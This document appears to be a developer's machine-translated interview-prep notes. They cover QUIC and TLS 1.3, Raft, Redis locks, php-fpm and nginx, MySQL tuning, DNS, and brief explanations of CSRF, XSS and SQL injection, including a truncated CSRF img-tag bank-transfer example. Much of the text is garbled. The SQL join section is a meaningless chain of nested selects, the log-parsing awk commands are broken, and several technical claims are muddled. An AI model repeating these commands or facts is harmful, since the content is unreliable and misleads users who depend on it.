The following are the main causes of TCP performance problems: TCP congestion control gives way when packet loss occurs to reduce the number of data segments that can be sent. Packet loss does not necessarily mean network congestion, but rather poor network condition. TCP’s three-way handshake imposes additional overhead, including not only the need to transfer more data, but also the network latency of the first data transfer. The TCP retransmission mechanism may retransmit the received data segment when the data packet is lost, wasting bandwidth.
Compared with the existing TCP + TLS + HTTP/2 scheme, QUIC has the following main characteristics: 1) The use of caching, significantly reduce the connection establishment time; 2) Improve congestion control from kernel space to user space; 3) Multiplexing without head of line blocking; 4) Forward error correction to reduce retransmission; 5) Connection smooth migration, the change of network state will not affect connection disconnection.
QUIC is Quick UDP Internet Connections, a new transport protocol invented by Google.
QUIC also faces the following challenges: 1) Small places where routing blocks UDP port 443 (which is exactly where QUIC is deployed); 2) Too many UDP packets will be mistaken for attacks by service providers due to QS restrictions, and UDP packets will be discarded; 3) Neither routers nor firewalls are currently ready for QUIC.
QUIC replaces TCP with UDP and requires only a layer of HTTP/2 API for communicating with remote servers. This is because the QUIC protocol already includes multiplexing and connection management, and the HTTP API only needs to parse the HTTP protocol.
SSL is a Transport Layer Security Protocol, Secure Sockets Layer, TLS
When TLS is used, the connection between the client and server has one or more of the following properties: Connection privacy: Symmetric encryption algorithms are used to encrypt data transmission, such as AES [AES], RC4 [SCH], etc. Public key encryption can be used to verify the identity connection reliability of the communication party: Each message sent is checked for integrity using a MAC (message Authentication code)
TLS 1.3 is different from previous protocols in the following aspects: 1. Compared with previous versions, TLS 1.3 introduces a new key negotiation mechanism – PSK 2. Supports 0-RTT data transmission, saving 3 round trip time when establishing connections. Encryption components such as 3DES, RC4, and AES-CBC are discarded, and hash algorithms such as SHA1 and MD5 are discarded. 4. All handshake messages after ServerHello are encrypted, and the plaintext is reduced by 5. No compression of encrypted packets or renegotiation between the two parties is allowed. 6. The DSA certificate cannot be used in TLS 1.3
TLS 1.3 removes insecure encryption algorithms from the previous version, including: RSA key transfer — No forward security CBC mode password — Vulnerable to BEAST and Lucky 13 attacks RC4 stream password — Insecure SHA-1 hash function in HTTPS — Sha-2 is recommended instead of arbitrary Diffie-hellman group — CVE-2016-0701 Vulnerability output password — Vulnerable to FREAK and LogJam attacks
QUIC core features 1. Low connection establishment delay, transport layer 0RTT can establish the connection; The encryption layer 0RTT establishes the encrypted connection. 2. Improved congestion control, improved in (1) pluggable, is very flexible to take effect, change and stop (2) monotonically increasing Packet Number (3) does not allow Reneging (4) more Ack blocks (5) accurately calculate Ack Delay time 3. Flow control based on stream and Connecton levels 4. Multiplexing without queue head blocking 5. Encrypted authenticated messages 6. Connection migration 7. Others: forward redundancy error correction, certificate compression, for packet header verification
Why is QUIC needed? On the one hand, it has a long history and uses a wide range of ancient protocols. On the other hand, users’ usage scenarios have increasingly high requirements for transmission performance. The following problems and contradictions become more and more prominent: 1. The long history of the agreement leads to the rigidity of intermediate equipment; 2. Depending on the implementation of the operating system, the protocol itself becomes rigid; 3. The handshake delay of establishing the connection is large; 4. Queue head is blocked.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Raft algorithm
- Each node has three states: Follower, Candidate, and Leader. The states are converted to each other
- Each node has an Election Timeout with a random time between 150ms and 300ms.
A Timeout can be reset in several cases: an election request is received by the Leader Heartbeat
During the Raft run, there are two main activities: master Leader Election Replication Log Replication
A Candidate is elected as the Leader only when more than half of the nodes vote for the Leader.
In order to avoid errors in any abnormal situation, that is, to meet the safety attribute, there are many constraints on the leader election and log replication sub-problems: – Only one vote is allowed in the same term. First come, first served – Electors must know more than they do.
Log Replication constraints: – A log is copied to most nodes, which is committed, and no rollback is guaranteed. – The leader must contain the latest committed log, so the leader only appends logs and does not delete overwrite logs. – Logs are the same on different nodes. Then all the logs before this location must be the same
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
This file event handler is single-threaded, so Redis is called a single-threaded model. It uses IO multiplexing mechanism to monitor multiple sockets at the same time, and selects the corresponding event processor for processing according to the events on the socket.
The structure consists of four parts: 1. Multiple sockets 2.IO multiplexing program 3. File event dispatcher 4. Event handler (connection reply handler, command request handler, command reply handler)
Redis single-threaded model can be just as efficient 1. Pure memory operation 2. Core is based on non-blocking IO multiplexing mechanism 3. Single-threading instead avoids the frequent context switching problems of multithreading
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Distributed lock, generally there are three options: 1, Redis 2, ZooKeeper 3, DB lock (pessimistic lock optimistic lock)
setnx + lua / setkey value px milliseconds
The set command uses setkey value px milliseconds nx. The value must be unique. When releasing the lock, verify the value of the lock
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Redlock operation 1. Obtain the current Unix time in milliseconds.
2. Use the same key and unique value (such as UUID) to obtain the lock from each of the five instances. When requesting a lock from Redis, the client should set a network connection and response timeout that is less than the lock expiration time. For example, if your lock expires automatically in 10 seconds, the timeout should be between 5 and 50 milliseconds. This prevents the client from waiting for a response when Redis has already failed on the server. If the server does not respond within the specified time, the client should try to obtain the lock from another Redis instance as soon as possible.
3. The client obtains the lock usage time by subtracting the start time (recorded in Step 1) from the current time. The lock is successful if and only if it is taken from most of the Redis nodes (N/2+1, here 3 nodes) and used for less than the lock expiration time.
4. If a lock is obtained, the true validity time of the key is equal to the validity time minus the time used to obtain the lock (calculated in Step 3).
5. If, for some reason, the lock fails to be acquired (not in at least N/2+1 Redis instances or the lock has been acquired for longer than the valid time), the client should unlock all Redis instances (even if some Redis instances are not locked at all). Prevents some node from acquiring the lock but the client does not receive the response so that the lock cannot be reacquired for a later period of time.
The lua script of Redis is used for atomic operations, that is, atomic operations find and delete
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
The static and dynamic execution of php-fpm is compared. One way is to directly start a specified number of php-fpm processes without increasing or decreasing them. The other option is to start a certain number of phP-fpm processes at the beginning, dynamically increase the number of phP-fpm processes to the upper limit when the request volume increases, and automatically release the number of idle processes to a lower limit when idle. Parameter: PM static/dynamic pm.max_children: number of phP-fpm processes started in static mode. Pm. start_Servers: The number of phP-fpm processes started in dynamic mode. Pm.min_spare_servers: Minimum number of phP-FPM processes in dynamic mode. Pm. max_spare_Servers: Maximum number of phP-FPM processes in dynamic mode. Low memory server: dynamic mode because it will end the redundant process, can reclaim some of the large memory server: set to static will improve efficiency. Since the phP-FPM process has a time lag when it is switched on and off frequently, it is better to turn it on static with enough memory.
1, create a db to support transaction type 2, delete is not really physical delete, just set a flag bit, for example, status=1 indicates that delete, 0 indicates normal. 3. Record deletion logs. The redundant information helps to recover records.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
The thundering herd is when multiple processes and threads are blocking at the same time waiting for the same event. If the event occurs, all processes will wake up, but only one process/thread will process the event. The other processes/threads will sleep again after failure. This waste of performance is called stampede.
Since Linux2.6, the kernel has solved the accept() “shock” problem, presumably by waking up only the first process or thread on the waiting queue when the kernel receives a client connection. So, if the server uses the accept blocking call, there is no “stampede” problem on the latest Linux systems.
Select, poll, or epoll are used for most common server programs in real engineering. In this case, the server does not block on ACCEPT, but on SELECT, poll, or epoll_WAIT. In this case, “shock” still needs to be considered.
Nginx uses mutex mutex to solve this problem. The global mutex mutex is used for each child process before epoll_wait(). If epoll_wait() is available, the process will continue. And set a load balancing algorithm (when the task amount of a sub-process reaches 7/8 of the total set amount, no attempt will be made to apply for lock) to balance the task amount of each process.
2. Version 3.9 of the Linux kernel introduced the SO_REUSEPORT feature, which enables multiple processes or threads to be bound to the same port, improves the performance of server programs, allows multiple sockets to bind() and listen() to the same TCP or UDP port, and implements load balancing at the kernel level.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Php-fpm master is only responsible for monitoring and management. It is not assigned to worker process to handle requests sent by the client as many people think, but the worker process is directly responsible for monitoring and processing requests from the client. The master process is responsible for monitoring the state of the child process. After the child process dies, it will send a signal to the master process, and then the master process will restart a new worker process.
Nginx master is responsible for allocating requests to its workers, who receive the assigned requests to do specific tasks. All workers do not poll to process the master’s requests, but adopt a “scramble” mechanism. The worker processes the Reponse and returns to the original route.
Difference: The master of PHP-FPM is not directly involved in the distribution and processing of requests. Nginx requests must be relayed through the master.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Redis in a cluster environment 1. The support for batch key operations is limited. For example, mget and Mset must be in the same slot. 2. Limited support for Key transactions and Lua: the Key of the operation must be on the same node; 3. Key is the smallest granularity of data partition: Bigkey partition is not supported. 4. Multiple databases are not supported: there is only one DB0 in cluster mode; 5. Only one replication layer is supported: the tree replication structure is not supported.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Select * from (select * from (select * from (select * from (select * from (select * from))); select * from (select * from (select * from (select * from)); select * from (select * from (select * from)); The join field of the undriven table should be the primary key index. If the index cannot be established, set the sufficient join Buffer Size 4. The more nested loops, the slower the algorithm will be. 5. Join statements cannot use subquery any more, COUNT(1) paging statistics should return as few fields as possible
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Search for the IP address that receives the most traffic in the access log
101.231.147.230 — — [27/Sep/2018:11:12:22 +0800] “GET/HTTP/1.1” 200 53318 101.231.147.230 — [27/Sep/2018:11:12:23 +0800] “GET /psp2/ CSS /reset. CSS HTTP/1.1” 304-101.231.147.230 – [27/Sep/2018:11:12:23 +0800] “GET /psp2/ CSS /reset. CSS HTTP/1.1″ 304-101.231.147.230 – [27/Sep/2018:11:12:23 +0800 /psp2/ CSS /index.css HTTP/1.1” 304-211.152.37.8 – – [27/Sep/2018:11:12:23 +0800] “GET/HTTP/1.1” 302-210.205.3.195 – – [27/Sep/2018:11:12:23 +0800] “POST /reloadProjectList.action? ProjectPage =10 HTTP/1.1” 200 608 211.152.37.8 — [27/Sep/2018:11:12:23 +0800] “GET/HTTP/1.1” 200 53318 101.231.147.230 – – [27/Sep/2018:11:12:23 +0800] “GET /public/js/common.js HTTP/1.1” 101.231.147.230 – – [27/Sep/2018:11:12:23 +0800] “GET /psp2/js/jquery_min.js HTTP/1.1” 304-101.231.147.230 — [27/Sep/2018:11:12:23 +0800 + 0800] “GET/public/js/app/CaeeResources_zh_CN. HTTP / 1.1 js” 304-101.231.147.230 – [27 / Sep / 2018:11:12:23 + 0800] “the GET /jwplayer/jwplayer.js HTTP/1.1” 304-101.231.147.230 — [27/Sep/2018:11:12:23 +0800] “GET /psp2/image/share_01.png [27/Sep/2018:11:12:24 +0800] “GET /psp2/image/share_02.png HTTP/1.1” 304 – [27/Sep/2018:11:12:24 +0800 [27/Sep/2018:11:12:24 +0800] “GET /psp2/image/share_03.png HTTP/1.1
cat access_log-20190602 | awk -F” ” ‘{print 1}’ | sort | uniq -c | sort -nr | head -20 awk ‘{print 1}’ access_log-20190602 | sort -nr | uniq -c | sort -nr | head -20 — cat debug.log | sort | awk -F ‘ip”:|,”latency_time”‘ ‘{print $2}’ | uniq -c | sort -n -r -k 1 -t ‘ ‘ | head -5
A command to find out the process of using a file id lsof | grep/usr/local/nginx/logs/error log | awk -f “” ‘{print $2}’
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
MRR is a way for MySQL to optimize for specific queries. If the primary key values referenced in the secondary index are not necessarily sorted, a large number of random I/OS may occur. If the primary key values are sorted before returning to the secondary index, a large number of random I/OS may occur. So we can use sequential I/OS instead of random I/OS when we return to the table. The MRR places the primary keys in order so that subsequent disk reads are sequential instead of random. From the point of view of resource utilization is to let the CPU and memory do more work, to change the sequential disk read.
Index Condition Pushdown (ICP) was added to MySQL5.6 to optimize data queries. (1) When pushing optimization without index condition, the storage engine retrieves data through index and then returns it to MySQL server, which then judges whether the data meets the condition. (2) When using index condition push-down optimization, if there are some judgment conditions for indexed columns, the MySQL server will pass these judgment conditions to the storage engine, and then the storage engine will judge whether the index meets the conditions passed by the MySQL server. The data is retrieved and returned to the MySQL server only if the index meets the criteria. Push optimization under index conditions can reduce the number of times the storage engine queries the underlying table, and also reduce the number of times the MySQL server receives data from the storage engine.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
PHP daemon script stuck there, how to monitor and locate? How can I locate the OOM problem in PHP script? The difference between an interface and an abstract class, can an interface be replaced with an abstract class? Why are PHP errors divided into error and exception? Which exceptions can be caught? How to design a seckill system? How does Redis ensure data is not lost? What if the disk is broken? Does redis high availability compare the performance of Memcached with redis? How to solve the synchronization delay problem? – 1. Internal deployment, preferably on the same switch – 2. Upgrade hardware configuration, preferably SSD, write fast -3. – 4. Disable the binlog function for the secondary library and set sync_binlog to 0-5. Add redis in front of the cache to reduce the pressure from the library (read library)
Have you built your own high availability and high performance architecture? Docker K8S has been used before? How to optimize mysql JOIN? Index /block/simple nested-loop Join XSS, CSRF, SQL inject Principle How to prevent? How many TTL does an HTTP request have? Principle of DNS – recursive query, iterative query,13 groups of root DNS server PHP machine available memory is only 100m, how to download 1GB large files in CSV format to the client? — How to realize connection pooling in the application of FputCSV design mode in actual business scenarios? — Swoole Long connection usage scenarios and pros and cons
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Maximum Transmission Unit (MTU) Indicates the Maximum size of the data service Unit that can be accepted by the sender and the payload size that can be accepted by the sender due to historical reasons, the minimum MTU of a physical link on the Internet is 576. UDP DNS to limit the number of PACKETS to 576, DNS packets are limited to 512 bytes.
Why is DNS better for UDP? DNS based on UDP requires only one request and one reply, while DNS based on TCP requires three handshakes, sends data, replies, and four waves. DNS based on TCP wastes more network resources. Of course, the above analysis is only carried out from the level of the number of packets and the occupation of network resources, but what about data consistency? DNS packets are not large packets, so there is no need to consider subcontracting when using UDP. If the packet is lost, it is all lost. If the data is received, it is all received! So you just have to worry about the lost packet, which is the lost packet, and you just have to ask again. In addition, DNS packets allow the serial number field to be filled in. The field is the same for the request packet and the corresponding reply packet, which can be used to distinguish the corresponding request
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
One Click Attack/Session Riding (CSRF) cross-site Request Forgery (CSRF) The generation process is as follows: 1. Log in to trusted website A and generate cookies locally. 2. Visit dangerous website B without logging out of A. 3. On the page of website B, send A request to website A with Cookie 4 generated by Website A in the first step. Generate harm attack
The simplest example is example 1: bank website A, which uses GET requests to complete bank transfer operations, such as:www.mybank.com/Transfer.ph…<img SRC = “<img SRC =” <img SRC =www.mybank.com/Transfer.ph…First, you log on to the bank’s website A, then to the dangerous website B, and oh, that’s when you find that your bank account is missing $1000…… Why is that? The reason is that bank website A violates the HTTP specification by using GET requests to update resources. Before you visit the dangerous website B, you have logged into the bank website A, which is in B
The CSRF attack is an implicit authentication mechanism from the WEB! The WEB’s authentication mechanism can guarantee that a request is from a user’s browser, but it can’t guarantee that the request is user-approved!
How to mitigate CSRF attacks? 1. Use only JSON API 2. Disable CORS 3. Verify the referrer header 4. Avoid POST and use PUT, PATCH, DELETE 6 instead. Do not copy methods 7. Do not support older browsers 8.CSRF Tokens
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
XSS Cross Site Scripting, Cross-site Scripting Attacks Cross-site Scripting refers to a malicious attacker inserting malicious Script codes into Web pages. When users browse the page, the Script codes embedded in the Web pages are executed, thus attacking users. XSS vulnerability usually outputs javascript codes to HTML pages through PHP output functions, which are executed by the user’s local browser. Therefore, the key of XSS vulnerability is to find output functions whose parameters are not filtered. Echo printf print print_r sprintf die var-dump var_export
1. Reflective XSS: < non-persistent > Attackers make attack links in advance and need to deceive users to click the links to trigger XSS code (there is no such page and content in the server), which is easy to appear in the search page.
2. Storage XSS: < > persistence code is stored on the server, in places, such as in an article published personal information or add code, if there is no filter or lax, then the code will be stored in the server, every time a user to access the page when will trigger code execution, this XSS is very dangerous, easy to cause the worm, a large number of cookie theft case: Input is entered and submitted. The browser pops up.
3.DOM XSS: a vulnerability based on the Document Objeet Model (DOM). The DOM has many objects, some of which the user can manipulate, such as uRI, location, refelTer, and so on. Client-side scripts can examine and modify the page content dynamically through the DOM. It does not rely on submitting data to the server, but retrieving data from the DOM from the client is performed locally. If the data in the DOM is not rigorously validated, DOM XSS vulnerabilities can occur.
Htmlspecialchars 2.htmlentities 3.RemoveXss function b. PHP Output to JS code, which requires front-end filtering in JS: Try to use innerText() and textContent(),jQuery’s Text() C. 1. Add Http Header 2 of the Content Security Policy. Set Cookie with HttpOnly parameter 3. Verify request Referer parameter 4. Use the scanning tool to automatically detect XSS vulnerabilities 5. Input content length control 6
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
SQL injection too believe in the parameters passed by the front end, external data can not be trusted solutions: 1, check the variable data type and format 2, filter special symbols 3, bind variables using precompiled statements 4, call stored procedures
Mysql type 1. Obtain metadata 2.UNION query 3. Error injection 5. Wide byte injection 6. Long character truncation 7
Disclaimer: This article is a summary of my notes in the process of preparing for the interview. The content is from the relevant technical articles on various blogs and websites. It is only for the purpose of technical sharing. If there is some space infringement, please contact to inform, I will delete immediately.